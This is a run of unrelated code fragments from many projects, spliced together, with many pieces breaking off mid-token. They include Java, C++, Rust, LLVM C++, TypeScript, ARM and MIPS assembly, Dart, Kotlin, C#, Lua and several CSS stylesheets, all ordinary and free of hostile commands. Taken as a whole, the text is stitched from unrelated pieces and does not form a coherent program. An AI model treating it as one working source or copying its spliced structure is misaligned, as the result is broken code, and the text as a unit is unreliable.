            float fpkmX = Float.parseFloat(tokens[xColumn]);
            float fpkmY = Float.parseFloat(tokens[yColumn]);
            String gene = tokens[geneColumn];
            String significant = tokens[sigColumn];
            return new ExpDiffValue(locus.getChr(), locus.getStart() - 1, locus.getEnd(), gene,
                    logRatio, fpkmX, fpkmY, significant);
        } else {
            log.error("Unexpected # of columns.  Expected at least 12,  found " + tokens.length);
            return null;
        }
    }

    @Override
    public ExpDiffValue decode(String line) {
        return decode(ParsingUtils.TAB_PATTERN.split(line));
    }

    @Override
    public boolean canDecode(String path) {
        String s = path.toLowerCase();
        if(s.endsWith(".gz")) s = s.substring(0, s.length()-3);
        return s.endsWith("gene_exp.diff") || s.endsWith("cds_exp.diff");
    }
}
/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2007-2015 Broad Institute
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the


topview_points[i].y));
            cv::circle(mat_topview, p, 10, color, -1);
            cv::circle(mat_topview, p, 10, cv::Scalar(0, 0, 0), 2);
        }
    }
    cv::hconcat(mat, mat_topview, mat);

    DrawFps(mat, det_result.time_inference, cv::Point(0, 0), 0.5, 2, CommonHelper::CreateCvColor(0, 0, 0), CommonHelper::CreateCvColor(180, 180, 180), true);

    /* Return the results */
    int32_t bbox_num = 0;
    for (auto& track : track_list) {
        const auto& bbox = track.GetLatestData().bbox;
        result.object_list[bbox_num].class_id = bbox.class_id;
        snprintf(result.object_list[bbox_num].label, sizeof(result.object_list[bbox_num].label), "%s", bbox.label.c_str());
        result.object_list[bbox_num].score = bbox.score;
        result.object_list[bbox_num].x = bbox.x;
        result.object_list[bbox_num].y = bbox.y;
        result.object_list[bbox_num].width = bbox.w;
        result.object_list[bbox_num].height = bbox.h;
        bbox_num++;
        if (bbox_num >= NUM_MAX_RESULT) break;
    }
    result.object_num = bbox_num;

    result.time_pre_process = det_result.time_pre_process;
    result.time_inference = det_result.time_inference;
    result.time_post_process = det_result.time_post_process;

    return 0;
}

/* Copyright 2022 iwatake2222

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
/*** Include ***/
/* for general */
#include <cstdint>
#include <cstdlib>
#include <cmath>
#include <cstring>
#include <string>
#include <vector>
#include <array>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <memory>

/* for OpenCV */
#include <opencv2/opencv.hpp>

/* for My modules */
#include "common_helper.h"
#include "common_helper_cv.h"
#include "edge_engine.h"
#include "image_processor.h"

/*** Macro ***/
#define TAG "ImageProcessor"
#define PRINT(...)   COMMON_HELPER_PRINT(TAG, __VA_ARGS__)
#define PRINT_E(...) COMMON_HELPER_PRINT_E(TAG, __VA_ARGS__)

/*** Global variable ***/
std::unique_ptr<EdgeEngine> s_engine;

/*** Function ***/
static void DrawFps(cv::Mat& mat, double time_inference, cv::Point pos, double font_scale, int32_t thickness, cv::Scalar color_front, cv::Scalar color_back, bool is_text_on_rect = true)
{
    char text[64];
    static auto time_previous = std::chrono::steady_clock::now();
    auto time_now = std::chrono::steady_clock::now();
    double fps = 1e9 / (time_now - time_previous).count();
    time_previous = time_now;
    snprintf(text, sizeof(text), "FPS: %.1f, Inference: %.1f [ms]", fps, time_inf


[i].0;

    for p in p_arr.iter() {
        let left_p = ampl_for_row[*p].0;
        if j + left_i > ampl_for_row[*p].0 && j + left_i <= ampl_for_row[*p].1 {
            let j_pos = if left_p < left_i {
                j + (left_i - left_p)
            } else {
                j - (left_p - left_i)
            };
            let curr_d = m[*p][j_pos - 1];
            if first {
                d = curr_d;
                d_idx = *p;
                first = false;
            }
            if curr_d > d {
                d = curr_d;
                d_idx = *p;
            }
        }
    }

    if first {
        // j is too far to be aligned with current predecessors
        None
    } else {
        Some((d, d_idx))
    }
}

#[inline]
fn get_best_u(
    p_arr: &[usize],
    m: &[Vec<i32>],
    ampl_for_row: &[(usize, usize)],
    i: usize,
    j: usize,
) -> Option<(i32, usize)> {
    let mut u = 0;
    let mut u_idx = 0;
    let left_i = ampl_for_row[i].0;
    let mut first = true;
    for p in p_arr.iter() {
        let left_p = ampl_for_row[*p].0;
        if j + left_i >= ampl_for_row[*p].0 && j + left_i < ampl_for_row[*p].1 {
            let j_pos = if left_p < left_i {
                j + (left_i - left_p)
            } else {
                j - (left_p - left_i)
            };
            let current_u = m[*p][j_pos as usize];
            if first {
                first = false;
                u = current_u;
                u_idx = *p;
            }
            if current_u > u {
                u = current_u;
                u_idx = *p;
            }
        }
    }

    if first {
        None
    } else {
        Some((u, u_idx))
    }
}

#[cfg(test)]
mod tests {
    use std::collections::HashMap;

    use bit_vec::BitVec;

    use crate::graph::LnzGraph;

    #[test]
    fn test1() {
        let s = vec!['$', 'A', 'A', 'A', 'A'];

        let lnz = vec!['$', 'A', 'A', 'A', 'A', 'F'];

        let mut nwp = BitVec::from_elem(6, false);
        nwp.set(1, true);
        nwp.set(5, true);

        let mut pred_hash = HashMap::new();
        pred_hash.insert(1, vec![0]);
        pred_hash.insert(5, vec![4]);

        let graph = LnzGraph {
            lnz,
            nwp,
            pred_hash,
        };
        let mut score_matrix = HashMap::new();
        score_matrix.insert(('A', 'A'), 1);
        score_matrix.insert(('A', '-'), -1);
        score_matrix.insert(('-', 'A'), -1);
        let align = super::exec(
            &s,
            ("test", 0),
            &graph,
            &score_matrix,
            100,
            false,
            &HashMap::new(),
        );

        assert_eq!(align.0, 4);
    }
    #[test]
    fn test2() {
        let s = vec!['$', 'A', 'A', 'C', 'A', 'A'];

        let lnz = vec!['$', 'A


t I = 0; I < MaxChain; I++) {
      CumulativeNonZero += Count[I] * I;
      OS << format("%7lu  %-10lu (%5.1f%%)     %5.1f%%\n", I, Count[I],
                   (Count[I] * 100.0) / NBucket,
                   (CumulativeNonZero * 100.0) / TotalSyms);
    }
  }

  // Print histogram for .gnu.hash section
  if (GnuHashTable) {
    size_t NBucket = GnuHashTable->nbuckets;
    ArrayRef<Elf_Word> Buckets = GnuHashTable->buckets();
    unsigned NumSyms = this->dumper()->dynamic_symbols().size();
    if (!NumSyms)
      return;
    ArrayRef<Elf_Word> Chains = GnuHashTable->values(NumSyms);
    size_t Symndx = GnuHashTable->symndx;
    size_t TotalSyms = 0;
    size_t MaxChain = 1;
    size_t CumulativeNonZero = 0;

    if (Chains.size() == 0 || NBucket == 0)
      return;

    std::vector<size_t> ChainLen(NBucket, 0);

    for (size_t B = 0; B < NBucket; B++) {
      if (!Buckets[B])
        continue;
      size_t Len = 1;
      for (size_t C = Buckets[B] - Symndx;
           C < Chains.size() && (Chains[C] & 1) == 0; C++)
        if (MaxChain < ++Len)
          MaxChain++;
      ChainLen[B] = Len;
      TotalSyms += Len;
    }
    MaxChain++;

    if (!TotalSyms)
      return;

    std::vector<size_t> Count(MaxChain, 0) ;
    for (size_t B = 0; B < NBucket; B++)
      ++Count[ChainLen[B]];
    // Print Number of buckets with each chain lengths and their cumulative
    // coverage of the symbols
    OS << "Histogram for `.gnu.hash' bucket list length (total of " << NBucket
       << " buckets)\n"
       << " Length  Number     % of total  Coverage\n";
    for (size_t I = 0; I <MaxChain; I++) {
      CumulativeNonZero += Count[I] * I;
      OS << format("%7lu  %-10lu (%5.1f%%)     %5.1f%%\n", I, Count[I],
                   (Count[I] * 100.0) / NBucket,
                   (CumulativeNonZero * 100.0) / TotalSyms);
    }
  }
}

template <class ELFT> void LLVMStyle<ELFT>::printFileHeaders(const ELFO *Obj) {
  const Elf_Ehdr *e = Obj->getHeader();
  {
    DictScope D(W, "ElfHeader");
    {
      DictScope D(W, "Ident");
      W.printBinary("Magic", makeArrayRef(e->e_ident).slice(ELF::EI_MAG0, 4));
      W.printEnum("Class", e->e_ident[ELF::EI_CLASS], makeArrayRef(ElfClass));
      W.printEnum("DataEncoding", e->e_ident[ELF::EI_DATA],
                  makeArrayRef(ElfDataEncoding));
      W.printNumber("FileVersion", e->e_ident[ELF::EI_VERSION]);

      // Handle architecture specific OS/ABI values.
      if (e->e_machine == ELF::EM_AMDGPU &&
          e->e_ident[ELF::EI_OSABI] == ELF::ELFOSABI_AMDGPU_HSA)
        W.printHex("OS/ABI", "AMDGPU_HSA", ELF::ELFOSABI_AMDGPU_HSA);
      else
        W.printEnum("OS/ABI", e->e_ident[ELF::EI_OSABI],
                    makeArrayRef(ElfOSABI));
      W.printNumber("ABIVersion", e->e_ident[ELF::EI_


:min(100%,600px);height:80px;--tox-uploadcare-placeholder--content-cursor:auto!important;--tox-uploadcare-placeholder--content-color:rgba(34, 47, 62, 0.7);--tox-uploadcare-placeholder--content-background-color:#fff;--tox-uploadcare-placeholder--content-border:2px solid #e3e3e3;--tox-uploadcare-placeholder--content-font-family:monospace,sans-serif;--tox-uploadcare-placeholder--content-height:100%;--tox-uploadcare-placeholder--content-width:100%;--tox-uploadcare-placeholder--content-display:inline-flex;--tox-uploadcare-placeholder--content-align-items:center;--tox-uploadcare-placeholder--content-justify-content:center;--tox-uploadcare-placeholder--content-gap:8px;--tox-uploadcare-placeholder--icon-fill:rgba(34, 47, 62, 0.7);--tox-uploadcare-placeholder--icon-min-width:24px;--tox-uc-loading-spinner-wrapper-display-none:none;--tox-uc-loading-spinner-wrapper-display:flex;--tox-uc-loading-spinner-wrapper-position:absolute;--tox-uc-loading-spinner-wrapper-top:0;--tox-uc-loading-spinner-wrapper-left:0;--tox-uc-loading-spinner-wrapper-width:100%;--tox-uc-loading-spinner-wrapper-height:100%;--tox-uc-loading-spinner-wrapper-justify-content:center;--tox-uc-loading-spinner-wrapper-align-items:center;--tox-uc-loading-spinner-aspect-ratio:1/1;--tox-uc-loading-spinner-width:min(24px, 30%);--tox-uc-loading-spinner-border-radius:50%;--tox-uc-loading-spinner-border:3px solid #006ce7;--tox-uc-loading-spinner-border-bottom-color:transparent;--tox-uc-loading-spinner-animation:tox-rotation 1s linear infinite}.mce-visualblocks address,.mce-visualblocks article,.mce-visualblocks aside,.mce-visualblocks blockquote,.mce-visualblocks div:not([data-mce-bogus]),.mce-visualblocks dl,.mce-visualblocks figcaption,.mce-visualblocks figure,.mce-visualblocks h1,.mce-visualblocks h2,.mce-visualblocks h3,.mce-visualblocks h4,.mce-visualblocks h5,.mce-visualblocks h6,.mce-visualblocks hgroup,.mce-visualblocks ol,.mce-visualblocks p,.mce-visualblocks pre,.mce-visualblocks section,.mce-visualblocks ul{background-repeat:no-repeat;border:1px dashed #bbb;margin-left:3px;padding-top:10px}.mce-visualblocks p{background-image:url(data:image/gif;base64,R0lGODlhCQAJAJEAAAAAAP///7u7u////yH5BAEAAAMALAAAAAAJAAkAAAIQnG+CqCN/mlyvs


 = ',' } = options;
  const safeStr = String(price);
  let refine = '';
  let splits = safeStr.split('.');
  let decimal = '';
  let normal = splits[0];
  normal = Number(normal)
    .toFixed(1)
    .replace(/\d(?=(\d{3})+\.)/g, `$&${replaceChar}`);
  normal = normal.substring(0, normal.length - 2);

  if (-1 < price && price < 0 && !/^-/.test(normal)) {
    normal = '-' + normal;
  }

  const hasPoint = /\./.test(safeStr);
  if (hasPoint) {
    decimal = splits[1];
  }

  if (0 < fixed) {
    const decimalLen = decimal.length;
    if (decimalLen < fixed) {
      const pad = Array.from(Array(fixed - decimalLen))
        .map(() => '0')
        .join('');
      decimal = `${decimal}${pad}`;
    } else {
      decimal = decimal.substring(0, fixed);
    }
    refine = `${normal}.${decimal}`;
  } else {
    refine = hasPoint ? `${normal}.${decimal}` : normal;
  }
  return refine;
}

/**
 * 지정된 소스 문자열이 기준 수를 넘어가면 좌, 우로 잘라내고 사이에 대체 문자를 삽입.
 * @param text 소스 문자열
 * @param max 잘라낼 기준 수
 * @param alternative 잘라낸 문자열 사이에 들어갈 문자열
 * @example
 console.log(toEllipsisMiddle("https://developers.google.com/web/fundamentals/architecture/app-shell", 30)); // "https://develop...cture/app-shell"
 console.log(toEllipsisMiddle("01234567890", 6)); // "012...789"
 console.log(toEllipsisMiddle("01234567890", 10)); // "0123456789"
 console.log(toEllipsisMiddle("01234567890", 11)); // "0123456789"
 */
export function toEllipsisMiddle(text: string, max: number = 50, alternative: string = '...'): string {
  if (!text) return text;
  let refine = text.toString();
  const strLen = refine.length;
  if (max < strLen) {
    const half = Math.floor(max / 2);
    let strStart = refine.substring(0, half);
    let strEnd = refine.substring(strLen - half, strLen);
    refine = `${strStart}${alternative}${strEnd}`;
  }
  return refine;
}

/**
 * 지정된 소스 문자열이 기준 수를 넘어가면 마지막을 잘라내고 문자를 삽입.
 * (예: abcdefghijklmn -> abcd...)
 * @param text 소스 문자열
 * @param max 잘라낼 기준 수
 * @param alternative 잘라낸 문자열 마지막에 들어갈 문자열
 * @example
 console.log(toEllipsisEnd("https://developers.google.com/web/fundamentals/architecture/app-shell", 10)); // "https://de..."
 console.log(toEllipsisEnd("01234567890", 5)); // "01234..."
 console.log(toEllipsisEnd("01234567890", 10)); // "01234567890"


m;display:table;width:100%;padding:0 0}#list>li>a{display:table-cell;padding:0 .5em}#list>li>.meta{display:table-cell;text-align:right;width:25%}#tags li{border-radius:3px;background:#95a5a6;display:inline-block;margin:0 0px 0 5px;line-height:1;padding:4px;font-size:15px;-webkit-transition:all 0.25s ease-in;-moz-transition:all 0.25s ease-in;-ms-transition:all 0.25s ease-in;transition:all 0.25s ease-in}#tags li:hover{background:#3498db}#tags li a{color:#FFF}#tags li a:before{content:"#"}.amp{font-family:Baskerville, 'Goudy Old Style', Palatino, 'Book Antiqua', serif;font-style:italic;font-weight:normal}#content>figure.left{float:left;margin-right:1em;margin-left:1em}#content>figure.right{float:right;margin-right:1em;margin-left:1em}.hid:hover figcaption{opacity:100}.hid figcaption{opacity:0;transition:opacity 0.5s}#categories li{font-weight:bold}#categories,#meta h5{padding-bottom:1em}aside ul{list-style:none outside none}#explore>ul>li{display:inline}#explore>ul>li:after{content:" /"}#explore>ul>li:last-child:after{content:""}aside a{text-decoration:none;color:#7f8c8d;-webkit-transition:all 0.25s ease-in;-moz-transition:all 0.25s ease-in;-ms-transition:all 0.25s ease-in;transition:all 0.25s ease-in}aside a:hover{color:#3498db}figcaption{font-size:.7em}blockquote{font-family:Georgia, serif;font-style:italic;width:80%;margin:0.25em auto;padding:0.25em 1em;line-height:1.45;position:relative;text-align:justify}blockquote:before{display:block;content:"\201C";position:absolute;font-size:1000%;left:-.24em;top:-.4em;opacity:.3;width:100%;font-family:'arial';font-style:normal}blockquote cite{color:#999;font-size:90%;display:block;text-align:right}blockquote cite:before{content:"\2014 \2009"}a.rss{color:#ffaa31;background:#fff}a.twitter{color:#07beed;background:#fff}a.facebook{color:#314d91;background:#fff}a.github{color:#2d2d2d;background:#fff}a.googleplus{color:#d14836;background:#fff}a.stumbleupon{color:#3ea642;background:#fff}a.linkedin{color:#0dc5ef;background:#fff}a.subscribemail{color:#ffaa31;background:#fff}a.slideshare{color:#00a69c;background:#fff}a.reddit{color:#a6bbd0;background:#fff}a.delicious{color:#285da7;background:#fff}a.rss:hover{background:#ffaa31;color:#fff}a.twitter:hover{background:#07beed;color:#fff}a.facebook:hover{background:#314d91;color:#fff}a.github:hover{background:#2d2d2d;color:#fff}a.googleplus:hover{background:#d14836;color:#fff}a.stumbleupon:hover{background:#3ea642;color:#fff}a.linkedin:hover{background:#0dc5ef;color:#fff}a.subscribemail:hover{background:#ffaa31;color:#fff}a.slideshare:hover{background:#00a69c;color:#fff}a.reddit:hover{


11, lsl #8
	add		r8, r8, r12

	cmp		r8, REG_MAX
	movgt	r8, REG_MAX
	addgt	REG_CLIP, REG_CLIP, #1
	cmp		r8, #-1073741824
	movlt	r8, #-1073741824
	addlt	REG_CLIP,


 eligible if their value is \> the query's.
  /// - "NOT_EQUAL" : Entities are eligible if their value is != the query's.
  core.String? op;

  /// double value type.
  core.double? valueDouble;

  /// float value type.
  core.double? valueFloat;

  /// int value type.
  core.String? valueInt;

  GoogleCloudAiplatformV1NearestNeighborQueryNumericFilter({
    this.name,
    this.op,
    this.valueDouble,
    this.valueFloat,
    this.valueInt,
  });

  GoogleCloudAiplatformV1NearestNeighborQueryNumericFilter.fromJson(
    core.Map json_,
  ) : this(
        name: json_['name'] as core.String?,
        op: json_['op'] as core.String?,
        valueDouble: (json_['valueDouble'] as core.num?)?.toDouble(),
        valueFloat: (json_['valueFloat'] as core.num?)?.toDouble(),
        valueInt: json_['valueInt'] as core.String?,
      );

  core.Map<core.String, core.dynamic> toJson() => {
    if (name != null) 'name': name!,
    if (op != null) 'op': op!,
    if (valueDouble != null) 'valueDouble': valueDouble!,
    if (valueFloat != null) 'valueFloat': valueFloat!,
    if (valueInt != null) 'valueInt': valueInt!,
  };
}

/// Parameters that can be overrided in each query to tune query latency and
/// recall.
class GoogleCloudAiplatformV1NearestNeighborQueryParameters {
  /// The number of neighbors to find via approximate search before exact
  /// reordering is performed; if set, this value must be \> neighbor_count.
  ///
  /// Optional.
  core.int? approximateNeighborCandidates;

  /// The fraction of the number of leaves to search, set at query time allows
  /// user to tune search performance.
  ///
  /// This value increase result in both search accuracy and latency increase.
  /// The value should be between 0.0 and 1.0.
  ///
  /// Optional.
  core.double? leafNodesSearchFraction;

  GoogleCloudAiplatformV1NearestNeighborQueryParameters({
    this.approximateNeighborCandidates,
    this.leafNodesSearchFraction,
  });

  GoogleCloudAiplatformV1NearestNeighborQueryParameters.fromJson(core.Map json_)
    : this(
        approximateNeighborCandidates:
            json_['approximateNeighborCandidates'] as core.int?,
        leafNodesSearchFraction:
            (json_['leafNodesSearchFraction'] as core.num?)?.toDouble(),
      );

  core.Map<core.String, core.dynamic> toJson() => {
    if (approximateNeighborCandidates != null)
      'approximateNeighborCandidates': approximateNeighborCandidates!,
    if (leafNodesSearchFraction != null)
      'leafNodesSearchFraction': leafNodesSearchFraction!,
  };
}

/// String filter is used to search a subset of the entities by using boolean
/// rules on string columns.
///
/// For example: if a query specifies string filter with 'name = color,
/// allow_tokens = {red, blue}, deny_tokens = {purple}',' then that query will
/// match entities that are red or blue, but if those points are also purple,
/// then they will be excluded even if they are red/blue. Only string filter is
/// supported for now, numeric filter will be supported in the near future.
class GoogleCloudAiplatformV1NearestNeighborQueryStringFilter {
  /// The allowed tokens.
  ///
  /// Optional.
  core.List<core.String>? allowTokens;

  /// The denied tokens.
  ///
  /// Optional.
  core.List<core.String>? denyTokens;

  /// Column names in BigQuery that used as filters.
  ///
  /// Required.
  core.String? name;

  GoogleCloudAiplatformV1NearestNeighborQueryStr


800EA918 01826021 */  addu  $t4, $t4, $v0
/* B61ABC 800EA91C 24A5F180 */  addiu $a1, %lo(D_8016F180) # addiu $a1, $a1, -0xe80
/* B61AC0 800EA920 000C60C0 */  sll   $t4, $t4, 3
/* B61AC4 800EA924 3C01FFFD */  li    $at, 0xFFFD0000 # 0.000000
/* B61AC8 800EA928 3421EC98 */  ori   $at, (0xFFFDEC98 & 0xFFFF) # ori $at, $at, 0xec98
/* B61ACC 800EA92C 00AC6821 */  addu  $t5, $a1, $t4
/* B61AD0 800EA930 01A17021 */  addu  $t6, $t5, $at
/* B61AD4 800EA934 ACCE004C */  sw    $t6, 0x4c($a2)
.L800EA938:
/* B61AD8 800EA938 3C058017 */  lui   $a1, %hi(D_8016F180)
/* B61ADC 800EA93C 24A5F180 */  addiu $a1, %lo(D_8016F180) # addiu $a1, $a1, -0xe80
.L800EA940:
/* B61AE0 800EA940 C4D20030 */  lwc1  $f18, 0x30($a2)
.L800EA944:
/* B61AE4 800EA944 C4C40034 */  lwc1  $f4, 0x34($a2)
/* B61AE8 800EA948 84C20008 */  lh    $v0, 8($a2)
/* B61AEC 800EA94C 46049182 */  mul.s $f6, $f18, $f4
/* B61AF0 800EA950 A4C2000C */  sh    $v0, 0xc($a2)
/* B61AF4 800EA954 1440005D */  bnez  $v0, .L800EAACC
/* B61AF8 800EA958 E4C60030 */   swc1  $f6, 0x30($a2)
/* B61AFC 800EA95C 8CC2004C */  lw    $v0, 0x4c($a2)
/* B61B00 800EA960 5040000E */  beql  $v0, $zero, .L800EA99C
/* B61B04 800EA964 44800000 */   mtc1  $zero, $f0
/* B61B08 800EA968 8C590000 */  lw    $t9, ($v0)
/* B61B0C 800EA96C 3C014F80 */  li    $at, 0x4F800000 # 0.000000
/* B61B10 800EA970 8F2F0008 */  lw    $t7, 8($t9)
/* B61B14 800EA974 8DF80004 */  lw    $t8, 4($t7)
/* B61B18 800EA978 44984000 */  mtc1  $t8, $f8
/* B61B1C 800EA97C 07010008 */  bgez  $t8, .L800EA9A0
/* B61B20 800EA980 46804020 */   cvt.s.w $f0, $f8
/* B61B24 800EA984 44815000 */  mtc1  $at, $f10
/* B61B28 800EA988 00000000 */  nop
/* B61B2C 800EA98C 460A0000 */  add.s $f0, $f0, $f10
/* B61B30 800EA990 10000004 */  b     .L800EA9A4
/* B61B34 800EA994 954C0008 */   lhu   $t4, 8($t2)
/* B61B38 800EA998 44800000 */  mtc1


@Serializable
data class InviteJoined(
    val type: String? = null,
    val channels: List<Channel>? = null,
    val server: Server? = null
)

fun Uri.isInviteUri(): Boolean {
    val firstPathSegmentIsInvite = this.pathSegments.firstOrNull() == "invite"
    val isStoatChat = this.host == STOAT_WEB_APP.toUri().host
    val matchRvltGG = this.host == STOAT_INVITES.toUri().host

    val matchApp = isStoatChat && firstPathSegmentIsInvite

    val hasEnoughSegments =
        if (matchApp) this.pathSegments.size == 2 else this.pathSegments.size == 1

    return (matchApp || matchRvltGG) && hasEnoughSegments
}package chat.stoat.api.schemas

// Result class similar to Rust std::result::Result
data class RsResult<V, E>(val value: V?, val error: E?) {
    val ok: Boolean
        get() = value != null

    val err: Boolean
        get() = error != null

    fun unwrap(): V {
        if (value == null) {
            throw IllegalStateException("Called unwrap on RsResult with error")
        }

        return value
    }

    fun unwrapOr(default: V): V {
        if (value == null) {
            return default
        }

        return value
    }

    fun unwrapOrElse(default: () -> V): V {
        if (value == null) {
            return default()
        }

        return value
    }

    fun unwrapError(): E {
        if (error == null) {
            throw IllegalStateException("Called unwrapError on RsResult with value")
        }

        return error
    }

    companion object {
        fun <V, E> ok(value: V): RsResult<V, E> {
            return RsResult(value, null)
        }

        fun <V, E> err(error: E): RsResult<V, E> {
            return RsResult(null, error)
        }
    }
}
package chat.stoat.api.internals

/**
 * Flags for messages that can be set to modify their behavior.
 *
 * See [Reference](https://docs.rs/revolt-models/latest/revolt_models/v0/enum.MessageFlags.html) for
 * values
 *
 * `shl 0` is not used.
 *
 * @property value The integer value representing the flag.
 */
enum class MessageFlag(val value: Int) {
    /**
     * Message will not send push / desktop notifications.
     */
    SuppressNotifications(1 shl 1),

    /**
     * Message will mention all users who can see the channel
     * > **Cannot be set on send**
     */
    MentionsEveryone(1 shl 2),

    /**
     * Message will mention all users who are online and can see the channel.
     *
     * This cannot be true if [MentionsEveryone] is true.
     *
     * > **Cannot be set on send**
     */
    MentionsOnline(1 shl 3)
}

operator fun Int.plus(other: MessageFlag): Int {
    return this or other.value
}

fun Int.hasMessageFlag(flag: MessageFlag): Boolean {
    return this and flag.value == flag.value
}

infix fun Int?.has(flag: MessageFlag): Boolean {
    return this != null && this.hasMessageFlag(flag)
}package chat.stoat.api.internals

import kotlin.experimental.and
import kotlin.random.Random

fun String.isUlid(): Boolean {
    return "[0-9A-HJKMNP-TV-Z]{26}".toRegex().matches(this)
}

object ULID {
    private const val entr


// MIT License
//
// Copyright (c) 2017-2025 Advanced Micro Devices, Inc.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.

#ifndef INC_AQL_PROFILE_H_
#define INC_AQL_PROFILE_H_

#if 0
// Profiling parameters
// All parameters are generic and if not applicable for a specific
// profile configuration then error status will be returned.
typedef enum {
  // SQTT applicable parameters
  HSA_VEN_AMD_AQLPROFILE_PARAMETER_NAME_COMPUTE_UNIT_TARGET = 0,
  HSA_VEN_AMD_AQLPROFILE_PARAMETER_NAME_VM_ID_MASK = 1,
  HSA_VEN_AMD_AQLPROFILE_PARAMETER_NAME_MASK = 2,
  HSA_VEN_AMD_AQLPROFILE_PARAMETER_NAME_TOKEN_MASK = 3,
  HSA_VEN_AMD_AQLPROFILE_PARAMETER_NAME_TOKEN_MASK2 = 4,
  HSA_VEN_AMD_AQLPROFILE_PARAMETER_NAME_SE_MASK = 5
} hsa_ven_amd_aqlprofile_parameter_name_t;

// Profile attributes
typedef enum {
  HSA_VEN_AMD_AQLPROFILE_INFO_COMMAND_BUFFER_SIZE = 0,  // get_info returns uint32_t value
  HSA_VEN_AMD_AQLPROFILE_INFO_PMC_DATA_SIZE = 1,        // get_info returns uint32_t value
  HSA_VEN_AMD_AQLPROFILE_INFO_PMC_DATA = 2,             // get_info returns PMC uint64_t value
                                                        // in info_data object
  HSA_VEN_AMD_AQLPROFILE_INFO_SQTT_DATA = 3,            // get_info returns SQTT buffer ptr/size
                                                        // in info_data object
                                                        //
  HSA_VEN_AMD_AQLPROFILE_INFO_BLOCK_COUNTERS = 4,       // get_info returns number of block counter
  HSA_VEN_AMD_AQLPROFILE_INFO_BLOCK_ID = 5,             // get_info returns block id, instances
                                                        // by name string using _id_query_t
                                                        //
  HSA_VEN_AMD_AQLPROFILE_INFO_ENABLE_CMD = 6,           // get_info returns size/pointer for
                                                        // counters enable command buffer
} hsa_ven_amd_aqlprofile_info_type_t;
#endif

#endif  // INC_AQL_PROFILE_H_


y.S64(m_Offset + address, value);

        public sbyte S8(long address)  => m_PhysicalMemory.S8(m_Offset + address);

        public void S8(long address, sbyte value)  => m_PhysicalMemory.S8(m_Offset + address, value);

        public ushort U16(long address)  => m_PhysicalMemory.U16(m_Offset + address);

        public void U16(long address, ushort value)  => m_PhysicalMemory.U16(m_Offset + address, value);

        public uint U32(long address)  => m_PhysicalMemory.U32(m_Offset + address);

        public void U32(long address, uint value)  => m_PhysicalMemory.U32(m_Offset + address, value);

        public ulong U64(long address)  => m_PhysicalMemory.U64(m_Offset + address);

        public void U64(long address, ulong value)  => m_PhysicalMemory.U64(m_Offset + address, value);

        public byte U8(long address)  => m_PhysicalMemory.U8(m_Offset + address);

        public void U8(long address, byte value)  => m_PhysicalMemory.U8((m_Offset + address), value);
    }
}


exports.useMemo = useMemo

local function useImperativeHandle<T>(
	ref: { current: T | nil } | ((inst: T | nil) -> any) | nil,
	create: () -> T,
	deps: Array<any> | nil
): ()
	local dispatcher = resolveDispatcher()
	return dispatcher.useImperativeHandle(ref, create, deps)
end
exports.useImperativeHandle = useImperativeHandle

local function useDebugValue<T>(value: T, formatterFn: ((value: T) -> any)?): ()
	if _G.__DEV__ then
		local dispatcher = resolveDispatcher()
		return dispatcher.useDebugValue(value, formatterFn)
	end

	-- deviation: return nil explicitly for safety
	return nil
end
exports.useDebugValue = useDebugValue

exports.emptyObject = {}

-- ROBLOX TODO: enable useTransition later
-- exports.useTransition = function(): ((() -> ()) -> (), boolean)
-- 	loc


 0px;
  height: 0.75rem;
  width: 0.75rem;
  background-color: inherit;
  content: "";
  -webkit-mask-size: contain;
          mask-size: contain;
  -webkit-mask-repeat: no-repeat;
          mask-repeat: no-repeat;
  -webkit-mask-position: center;
          mask-position: center;
}

.chat-start {
  place-items: start;
  grid-template-columns: auto 1fr;
}

.chat-start .chat-header {
  grid-column-start: 2;
}

.chat-start .chat-footer {
  grid-column-start: 2;
}

.chat-start .chat-image {
  grid-column-start: 1;
}

.chat-start .chat-bubble {
  grid-column-start: 2;
  border-end-start-radius: 0px;
}

.chat-start .chat-bubble:before {
  -webkit-mask-image: url("data:image/svg+xml,%3csvg width='3' height='3' xmlns='http://www.w3.org/2000/svg'%3e%3cpath fill='black' d='m 0 3 L 3 3 L 3 0 C 3 1 1 3 0 3'/%3e%3c/svg%3e");
          mask-image: url("data:image/svg+xml,%3csvg width='3' height='3' xmlns='http://www.w3.org/2000/svg'%3e%3cpath fill='black' d='m 0 3 L 3 3 L 3 0 C 3 1 1 3 0 3'/%3e%3c/svg%3e");
  inset-inline-start: -0.749rem;
}

[dir="rtl"] .chat-start .chat-bubble:before {
  -webkit-mask-image: url("data:image/svg+xml,%3csvg width='3' height='3' xmlns='http://www.w3.org/2000/svg'%3e%3cpath fill='black' d='m 0 3 L 1 3 L 3 3 C 2 3 0 1 0 0'/%3e%3c/svg%3e");
          mask-image: url("data:image/svg+xml,%3csvg width='3' height='3' xmlns='http://www.w3.org/2000/svg'%3e%3cpath fill='black' d='m 0 3 L 1 3 L 3 3 C 2 3 0 1 0 0'/%3e%3c/svg%3e");
}

.chat-end {
  place-items: end;
  grid-template-columns: 1fr auto;
}

